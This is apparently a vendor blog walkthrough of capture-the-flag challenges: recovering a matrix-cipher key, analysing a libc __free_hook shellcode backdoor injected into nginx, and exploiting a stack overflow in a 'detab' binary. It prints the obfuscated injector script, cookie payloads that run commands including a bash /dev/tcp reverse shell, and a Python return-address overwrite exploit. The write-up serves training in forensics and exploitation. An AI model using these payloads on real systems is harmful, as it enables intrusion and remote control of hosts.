Adversary Quest 2021 Walkthrough, Part 2: Four SPACE JACKAL Hacktivist Challenges

Therefore, the encryption of the first 9 plaintext bytes (C(inv(k), p)) can be described as a matrix-matrix multiplication: k' * transpose(p) = transpose(c)

Inverting the Encryption Operation

Three theorems are used to invert the encryption routine. For two matrices A and B (with the same dimensions) these are:

1. inv(A * B) = inv(B) * inv(A)
2. transpose(A * B) = transpose(B) * transpose(A)
3. transpose(inv(A)) = inv(transpose(A))

With these theorems, the key k can be derived given a ciphertext c and the known plaintext prefix p:

    k' * transpose(p) = transpose(c)
<=> inv(k) * transpose(p) = transpose(c)
<=> transpose(inv(k) * transpose(p)) = transpose(transpose(c))
<=> transpose(inv(k) * transpose(p)) = c
<=> transpose(transpose(p)) * transpose(inv(k)) = c
<=> p * transpose(inv(k)) = c

<=> inv(p * transpose(inv(k))) = inv(c)
<=> inv(transpose(inv(k))) * inv(p) = inv(c)
<=> inv(inv(transpose(k))) * inv(p) = inv(c)
<=> transpose(k) * inv(p) = inv(c)
<=> transpose(k) * inv(p) * p = inv(c) * p
<=> transpose(k) = inv(c) * p

However, since the function C(K, M) in crypter.py calculates transpose(K * transpose(M)), we can reuse that function. If we feed inv(c) and transpose(p) into C, we’ll obtain transpose(inv(c) * transpose(transpose(p))) = k

Solution: Decryption

We can now use this information to implement a Python script that derives the key and decrypts the ciphertext: This tool is then used to decrypt the third entry of the forum with the title "FLAGZ!":

$ echo "259F8D014A44C2BE8FC50A5A2C1EF0C13D7F2E0E70009CCCB4" \
       "C2ED84137DB4C2EDE078807E1616C266D5A15DC6DDB60E4B73" \
       "37E851E739A61EED83D2E06D618411DF61222EED83D2E06D61" \
       "2C8EB5294BCD4954E0855F4D71D0F06D05EE" | python3 solution.py
<*> reading ciphertext from stdin
<*> derived key: b'SP4evaCES'
<*> plaintext prefix is correct. plaintext:
Good job!

 040 == 32 == 0x20

CS{if_computers_could_think_would_they_like_spaces?}

The last line of the entry gives us the flag.

Challenge 3: Injector

The third challenge of the SPACE JACKAL track is called “Injector.” The challenge description revealed the fictional adversary had been recruiting, and reads as follows:

 

The decrypted forum messages revealed that a disgruntled employee at one of our customers joined SPACE JACKAL and backdoored a host at their employer before they quit. Our customer provided us with a snapshot of that machine. Please identify the backdoor and validate your findings against our test instance of that host, which is available at injector.challenges.adversary.zone. The provided archive contains two files, a shell script run.sh and a QEMU image named art_ctf_injector_local.qcow2:

$ tar Jxvf injector.tar.xz
injector/
injector/run.sh
injector/art_ctf_injector_local.qcow2
$ sha256sum injector/art_ctf_injector_local.qcow2
168c34df9534252ad1fc025fa4491269d3788bc728c2eafe80cc3aabb988da40  injector/art_ctf_injector_local.qcow2

The shell script prepares the terminal before starting a running snapshot of the virtual machine image using QEMU. Additionally, it forwards TCP ports 3322 and 4321 of the host to the virtual machine. When run, the user is presented with a root shell on the VM:

$ ./run.sh 
Restoring snapshot compromised (art_ctf_injector_local.qcow2)
Press Return...

root@injector-local:~# id
uid=0(root) gid=0(root) groups=0(root)

The alleged backdoor could either be located in memory or on disk (or both). While memory forensics can be challenging, it makes sense to analyze the file system first and hope to find a first clue there. To make sure that no running backdoor hides any of its files by filtering file system access, we can stop the VM and mount the QCOW2 image by using qemu-nbd:

# modprobe nbd
# qemu-nbd --connect=/dev/nbd0 art_ctf_injector_local.qcow2
# mount /dev/nbd0p2 rootfs/

# ls -la rootfs/
total 88
drwxr-xr-x. 19 root root  4096 Dec 21 17:20 .
drwxr-xr-x.  4 user user  4096 Feb 15 17:45 ..
lrwxrwxrwx.  1 root root     7 Oct 22 15:58 bin -> usr/bin
drwxr-xr-x.  3 root root  4096 Dec 17 16:16 boot
drwxr-xr-x.  2 root root  4096 Dec 17 15:59 cdrom
drwxr-xr-x.  4 root root  4096 Oct 22 16:00 dev
drwxr-xr-x. 92 root root  4096 Jan 13 20:11 etc
drwxr-xr-x.  2 root root  4096 Jan 13 20:00 home
<...>

When analyzing the file system, a suspicious Bash script can be found at /tmp/.hax/injector.sh:

root@injector-local:~# ls -la /tmp
total 48
drwxrwxrwt 12 root root 4096 Feb 15 13:56 .
drwxr-xr-x 19 root root 4096 Dec 21 16:20 ..
drwxrwxrwt  2 root root 4096 Jan 13 19:13 .font-unix
drwxr-xr-x  2 root root 4096 Jan 13 19:15 .hax
drwxrwxrwt  2 root root 4096 Jan 13 19:13 .ICE-unix
<...>
root@injector-local:~# ls -la /tmp/.hax
total 12
drwxr-xr-x  2 root root 4096 Jan 13 19:15 .
drwxrwxrwt 12 root root 4096 Feb 15 13:56 ..
-rwxr-xr-x  1 root root 2860 Jan 13 19:15 injector.sh

Inspecting the file shows that variables and function names don’t appear to have descriptive names but are just nonsensical strings. That, combined with the fact that the script uses grep to extract libc addresses from of /proc/<pid>/maps strengthens the assumption that the script is almost certainly not legitimate:

$ sed \
-e 's/QueSh8yi/write_proc/g' \
-e 's/xeiCh4xi/decode/g' \
-e 's/roth8Kai/p64le/g' \
-e 's/ieph2Oon/resolve_symbol/g' \
-e 's/ia5Uuboh/main/g' \
-e 's/go7uH1yu/PID/g' \
-e 's/ih9Ea1se/LIBC_TMP/g' \
-e 's/Teixoo1Z/LIBC_START/g' \
-e 's/cu1eiSe9/LIBC_PATH/g' \
-e 's/ojeequ9I/replace_pattern/g' \
-e 's/HeiSuC5o/SHELLCODE/g' \
-e 's/Que2vah0/SHELLCODE_SIZE/g' \
-e 's/Iek6Joyo/LIBC_END_EXEC/g' \
-e 's/Thee6ahB/LIBC_SC_ADDR/g' \
/tmp/.hax/injector.sh

eo0oMaeL=$((LIBC_START+$(resolve_symbol $LIBC_PATH $(decode H4sIAAAAAAAAA4uPTytKTY3PyM/PBgDwEjq3CwAAAA==))))
de0fie1O=$((LIBC_START+$(resolve_symbol $LIBC_PATH $(decode H4sIAAAAAAAAAyuuLC5JzQUAixFNyQYAAAA=))))
EeGie9qu=$((LIBC_START+$(resolve_symbol $LIBC_PATH $(decode H4sIAAAAAAAAA0srSk0FAMjBLk0EAAAA))))
Eeko2juZ=$((LIBC_START+$(resolve_symbol $LIBC_PATH $(decode H4sIAAAAAAAAA8tNzMnJT44vLU5MykmNL86sSgUA3kc6ChIAAAA=))))

decode() {
    echo "$1" | base64 -d | gzip -d
}

$ decode H4sIAAAAAAAAA4uPTytKTY3PyM/PBgDwEjq3CwAAAA==
__free_hook
$ decode H4sIAAAAAAAAAyuuLC5JzQUAixFNyQYAAAA=
system
$ decode H4sIAAAAAAAAA0srSk0FAMjBLk0EAAAA
free
$ decode H4sIAAAAAAAAA8tNzMnJT44vLU5MykmNL86sSgUA3kc6ChIAAAA=
malloc_usable_size

$ sed \
-e 's/QueSh8yi/write_proc/g' \
<...>
-e 's/Thee6ahB/LIBC_SC_ADDR/g' \
-e 's/eo0oMaeL/LIBC_FREE_HOOK_ADDR/g' \
-e 's/de0fie1O/LIBC_SYSTEM_ADDR/g' \
-e 's/EeGie9qu/LIBC_FREE_ADDR/g' \
-e 's/Eeko2juZ/LIBC_MALLOC_USABLE_SIZE_ADDR/g' \
/tmp/.hax/injector.sh

(Click to enlarge)

• ‘\x41’*8 is replaced by the address of libc’s malloc_usable_size() function
• ‘\x42’*8 is replaced by the address of libc’s free() function
• ‘\x43’*8 is replaced by the address of libc’s system() function
• ‘\x44’*8 is replaced by the address of libc’s _{__free_hook} variable
• ‘\x55’*8 is replaced by the address at which the shellcode is injected

• The shellcode detects the size of the buffer, that is to be freed by using malloc_usable_size().
• The __free_hook is disabled by setting it to NULL.
• If the usable buffer size is less than 6, shellcode just frees the buffer and re-enables the hook.
• If the usable size is 6 or more, the shellcode scans the buffer content for the character sequence cmd{. If it is found, the remaining buffer is scanned until the character } is found.
• All characters enclosed by the curly brackets must be in the range <0x20, 0x7e>, which represents printable ASCII characters. Otherwise, the buffer in question is freed and no further action is taken.
• Once the closing bracket is found, it is replaced by a null byte and the string that was enclosed by the brackets is passed to system().
• After returning from system(), the buffer is freed and the hook is re-enabled.

(Click to enlarge)

(Click to enlarge)

$ curl -I -b 'foo=cmd{touch /tmp/x}' 0:4321
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
<...>

root@injector-local:~# ls -la /tmp/x
-rw-rw-rw- 1 www-data www-data 0 Feb 22 15:29 /tmp/x

# nc -lvnp 4141
Listening on 0.0.0.0 4141

$ curl -I -b 'foo=cmd{bash -i>/dev/tcp//4141 0>&1}' 0:4321
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
<...>

$ curl -I -b 'foo=cmd{bash -c "bash -i>/dev/tcp//4141 0>&1"}' 0:4321
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)

# nc -lvnp 4141
Listening on 0.0.0.0 4141
Connection received on  30066

$ curl -I -b 'foo=cmd{bash -c "bash -i>/dev/tcp//4141 0>&1"}' injector.challenges.adversary.zone:4321
HTTP/1.1 403 Forbidden
<...>

Challenge 4: Tab-Nabbed

Investigating the Snapshot

$ file githost.qcow2 
githost.qcow2: QEMU QCOW2 Image (v3), 10737418240 bytes
$ sudo modprobe nbd max_part=8
$ sudo qemu-nbd --connect=/dev/nbd0 ./githost.qcow2
$ sudo mkdir /mnt/tabnabbed 
$ sudo mount /dev/nbd0p2 /mnt/tabnabbed

Analysing the Binary

$ echo "\ta" | hexdump -C 
00000000  09 61 0a                                          |.a.|
$ echo "\ta" | ./detab | hexdump -C
00000000  20 20 20 20 61 0a                                 |    a.|

Exploiting the Binary

#!/usr/bin/env python3

import struct

# fill buffer; n<0> will contain 509 bytes:
payload = b'A' * 509

# write 509 bytes, followed by a newline and a tab that will
# be expanded to four spaces.
# n<0> will then contain 514 and the stack can be overwritten.
payload += b'\n\t'

payload += b'B' * 5
payload += b'c'
payload += b'iiiiiiii'
payload += b'llll'
payload += b'\n' * 4 # overwrite in_indent but reset all the time because of newline
payload += b'eeeeeeee'

# overwrite return pointer with address of print_flag function:
payload += struct.pack("<Q", 0x4011d6)

# store payload as file to commit it:
with open("/tmp/tabnabbed_sploit.dat", "wb") as writer:
    writer.write(payload)

Host tabnabbed
	Hostname tabnabbed.challenges.adversary.zone
	Port 23230
	User git
	IdentityFile /tmp/githost/developers.key
	PubkeyAuthentication yes

$ cd hashfunctions; mv /tmp/tabnabbed_sploit.dat .
$ git add tabnabbed_sploit.dat; git commit -m "foo"; git push
 foo
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 tabnabbed_sploit.dat
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 16 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 317 bytes | 317.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: 040 == 32 == 0x20!
To tabnabbed:hashfunctions.git
   91d85fd..7aa815e  master -> master

Final Remarks

Additional Resources

• Learn more about the adversaries CrowdStrike tracks by exploring the Adversary Universe.
• To stay ahead of today’s adversaries, read the CrowdStrike 2021 Global Threat Report.

   

• To learn more about how to incorporate intelligence on threat actors into your security strategy, visit the CROWDSTRIKE FALCON® INTELLIGENCE™ Premium Threat Intelligence page.
• Get a full-featured free trial of CrowdStrike Falcon® Prevent™ and learn how true next-gen AV performs against today’s most sophisticated threats.